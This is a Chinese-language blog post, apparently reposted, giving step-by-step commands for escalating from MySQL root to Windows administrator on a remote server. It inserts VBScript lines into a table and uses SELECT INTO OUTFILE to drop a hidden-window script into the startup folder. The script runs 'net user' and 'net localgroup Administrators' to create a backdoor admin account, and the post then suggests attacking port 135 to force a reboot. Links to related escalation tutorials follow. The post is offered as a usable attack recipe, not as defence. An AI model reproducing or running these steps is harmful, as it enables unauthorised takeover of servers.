mysql root 2008 提权_mysql root 提权方法

淡淡的烟草味﹌ 2023-01-11 13:04 134阅读 0赞

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下，test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表；

mysql>create table a (cmd text);

好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。

6、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );

注意双引号和括号以及后面的“0”一定要输入！我们将用这三条命令来建立一个VBS的脚本程序！

7、好了，现在我们来看看表a中有些什么

mysql>select \* from a;

我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步

8、输出表为一个VBS的脚本文件

mysql>select \* from a into outfile "c:\\\\docume~1\\\\alluse~1\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs";

我们把我们表中的内容输入到启动组中，是一个VBS的脚本文件！注意“\\"符号。

9、看到这大家肯定知道了，就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢，因为启动运行时会有明显的dos窗口出来，而用VBS脚本则可以完全隐藏窗口且不会有错误提示！本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢！好了，找个工具攻击135让服务器重启吧，几分钟以后你就是管理员了。

posted on

2011-04-18 23:13

无名组

阅读(252)

评论(0)

编辑

收藏

发表评论取消回复

表情：

评论列表（有 0 条评论，134人围观）

还没有评论，来说两句吧...

相关阅读

相关 MySQL低权限提权

MySQL允许用户自定义函数（User-Defined Functions，简称UDF），通过编写并安装UDF，我们可以拓展MySQL的功能。在进行低权限提权时，我们可以...

深碍√TFBOYSˉ_/ 2024年05月06日 23:18/ 0 赞/ 34 阅读

相关【数据库提权】MySQL UDF提权 (Window环境)

文章目录前言一、UDF简介二、UDF提权条件三、上传动态链接库文件四、UDF提权步骤 MSF漏洞验证五、UDF

野性酷女/ 2024年03月25日 17:01/ 0 赞/ 20 阅读

相关 MySQL提权

参考： [mysql提权篇 | Wh0ale's Blog][mysql_ _ Wh0ale_s Blog] [MySQL 提权方法整理 - Geekby's Blog

我就是我/ 2023年10月15日 13:08/ 0 赞/ 16 阅读

相关 Mysql提权姿势总结

目录一、写入Webshell into outfile 写shell 日志文件写shell 二、UD

刺骨的言语ヽ痛彻心扉/ 2023年10月06日 18:47/ 0 赞/ 12 阅读

相关 mysql提权漏洞

linux+mysql怎么提权据我所知mysql没有管理账号这样的概念，只有不同的用户权限。默认root用户就具有所有的权限，你可以新建一个用户，使它拥有所有的权限，还

墨蓝/ 2023年09月25日 09:36/ 0 赞/ 19 阅读

相关 mysql root 2008 提权_mysql root 提权方法

1、连接到对方MYSQL 服务器 mysql -u root -h 192.168.0.1 mysql.exe 这个程序在你安装了MYSQL的的BIN目录中 2、让我们来

淡淡的烟草味﹌/ 2023年01月11日 13:04/ 0 赞/ 135 阅读

相关 python提权_linux 提权-SUID提权

前言最近想着学习linux提权的一些姿势，这里简单分享学习SUID提权的一些知识点。权限解读先来父复习一下linux文件的权限分配。 ls命令用来查看系统上面的文

曾经终败给现在/ 2023年01月08日 15:28/ 0 赞/ 282 阅读

相关提权

目录什么是提权用户划分 windows权限 linux权限提权类别

- 日理万妓/ 2022年12月18日 01:58/ 0 赞/ 320 阅读

相关提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一、初识提权很多时候我们入侵一个网站的时候，想要的是得到这个服务器的权限，也就是admin权限，但是一般默认得到的是普通用的地权限，权限很小，所以就要通过其他手段

亦凉/ 2022年09月28日 01:23/ 0 赞/ 952 阅读

相关提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

(一)、Mssql提权必要条件：获取到mssql数据库最高权限用户sa的账号密码 Mssql默认端口：1433 Mssql最高权限用户：sa

╰半橙微兮°/ 2022年06月18日 04:14/ 0 赞/ 681 阅读